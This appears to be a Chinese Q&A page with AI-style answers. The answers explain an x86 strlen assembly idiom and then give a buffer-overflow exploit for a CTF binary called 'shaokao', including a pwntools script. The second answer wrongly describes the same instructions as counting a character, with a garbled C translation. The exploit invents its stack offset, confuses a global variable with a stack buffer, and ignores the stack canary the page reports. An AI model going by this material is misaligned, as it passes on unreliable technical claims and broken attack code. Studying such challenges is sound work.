030 push offset unk_4031D4 034 push offset aS ; "%s" 038 call ds:scanf 038 add esp, 0Ch 02C mov edi, offset unk_4031D4 02C or ecx, 0FFFFFFFFh 02C xor eax, eax 02C repne scasb 02C not ecx 02C dec ecx
时间: 2024-02-10 13:20:50 浏览: 132
这是一段汇编代码,实现了从标准输入中读取一个字符串,然后计算其长度的功能。
首先,代码将一个字符串 "s" 和一个指向缓冲区的指针 "unk_4031D4" 推入堆栈。然后,使用 "scanf" 函数从标准输入中读取一个字符串,并将其存储在缓冲区中。"scanf" 函数返回成功读取的字符数,但在这里并没有使用该返回值。
接下来,代码将 "edi" 寄存器设置为指向缓冲区的指针,将 "ecx" 寄存器设置为 -1,将 "eax" 寄存器清零。然后使用 "repne scasb" 指令逐个比较缓冲区中的字符,直到遇到字符串结束标志符(0)。"repne" 指令表示在 "ecx" 寄存器的值不为 0 时执行操作,"scasb" 指令表示将字节寄存器 "al" 与 "edi" 寄存器指向的内存中下一个字节进行比较,然后将 "edi" 寄存器的值增加 1,"ecx" 寄存器的值减少 1。如果比较的结果不相等,"repne" 指令会继续执行,直到找到字符串结束标志符或 "ecx" 寄存器的值为 0。最后,代码使用 "not" 指令翻转 "ecx" 寄存器的值,并将其减去 1,得到字符串的长度。
相关问题
02C mov edi, offset unk_4031D4 02C or ecx, 0FFFFFFFFh 02C xor eax, eax 02C repne scasb 02C not ecx 02C dec ecx
这段汇编代码的作用是在字符串unk_4031D4中查找某个字符,并计算该字符出现的次数。具体来说,它使用了repne scasb指令,在edi目的地地址指定的字符串中查找al寄存器中指定的字符,直到找到该字符或者ecx为0。not ecx指令将ecx寄存器的值按位取反,然后dec ecx指令将结果减1,得到该字符在字符串中出现的次数。
这段汇编代码可以转换为以下的C语言代码:
```c
char* str = /* 指向字符串的指针 */;
char c = /* 待查找的字符 */;
int count = 0;
int len = strlen(str);
for (int i = 0; i < len; i++) {
if (str[i] == c) { // 找到了该字符
count++;
}
}
count = ~count + 1; // 取反加一,得到该字符在字符串中出现的次数
```
其中,mov edi, offset unk_4031D4指令将edi寄存器的值设置为unk_4031D4字符串的地址。or ecx, 0FFFFFFFFh指令将ecx寄存器的值设置为0xFFFFFFFF(即-1)。xor eax, eax指令将eax寄存器的值设置为0。repne scasb指令会在edi目的地地址指定的字符串中查找al寄存器中指定的字符,直到找到该字符或者ecx为0。not ecx指令将ecx寄存器的值按位取反,然后dec ecx指令将结果减1,得到该字符在字符串中出现的次数。转换成C语言后,我们使用for循环遍历字符串中每个字符,如果找到了待查找的字符,则计数器加1。最后,我们将计数器按位取反加1,得到该字符在字符串中出现的次数。
本例中的main函数为: int __cdecl main(int argc, const char **argv, const char **envp) { int v3; // edx int v4; // ecx int v5; // r8d int v6; // r9d welcome(argc, argv, envp); while ( 1 ) { switch ( (unsigned int)menu() ) { case 1u: pijiu(); break; case 2u: chuan(); break; case 3u: yue(); break; case 4u: vip(); break; case 5u: if ( own ) gaiming(); break; default: printf((unsigned int)&unk_4B7008, (_DWORD)argv, v3, v4, v5, v6); exit(0LL); } } } gaiming函数为: __int64 gaiming() { int v0; // edx int v1; // ecx int v2; // r8d int v3; // r9d char v5[32]; // [rsp+0h] [rbp-20h] BYREF puts(&unk_4B71C0); _isoc99_scanf((unsigned int)&unk_4B71EB, (unsigned int)v5, v0, v1, v2, v3); j_strcpy_ifunc(&name, v5); return 0LL; } 文件名为shaokao,文件状态为: RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 2207 Symbols No 0 0 shaokao 给出进行缓冲区溢出攻击给出需要的代码以及详细流程
对于这段代码,我们可以看到存在一个缓冲区溢出漏洞,即在gaiming函数中使用scanf函数读取输入到v5数组时,没有对输入进行长度限制,导致可能会覆盖到name变量的值。
攻击的基本思路是通过输入超长的字符串来覆盖掉name变量的值,从而控制程序的行为。具体的攻击流程如下:
1. 首先需要确定name变量在栈中的偏移量,可以通过调试程序或者静态分析代码来确定。假设name变量在栈中的偏移量为0x100。
2. 构造一个超长的输入字符串,长度应该大于0x100,其中前面部分可以填充任意字符,后面部分需要填充希望覆盖到name变量的值。假设我们想要将name变量的值修改为0xdeadbeef,那么可以构造一个输入字符串如下:
`"A"*0x108 + "\xef\xbe\xad\xde"`
其中"\xef\xbe\xad\xde"是0xdeadbeef的16进制表示。
3. 将构造好的字符串输入到程序中,就可以触发缓冲区溢出漏洞,修改name变量的值。
下面是可能需要的攻击代码:
```
from pwn import *
# 定义目标程序的相关信息
binary = ELF('./shaokao')
context.binary = binary
# 定义本地或远程连接
p = process(binary.path)
# p = remote('ip', port)
# 构造攻击字符串
payload = b"A" * 0x108 + p64(0xdeadbeef)
# 发送攻击字符串
p.sendlineafter(b'name:', payload)
# 进入交互模式
p.interactive()
```
需要注意的是,攻击的成功与否还取决于目标程序的保护机制,例如是否开启了ASLR、栈随机化等。如果目标程序开启了ASLR,则需要先泄漏出程序的基址,才能计算出name变量在栈中的准确偏移量。
阅读全文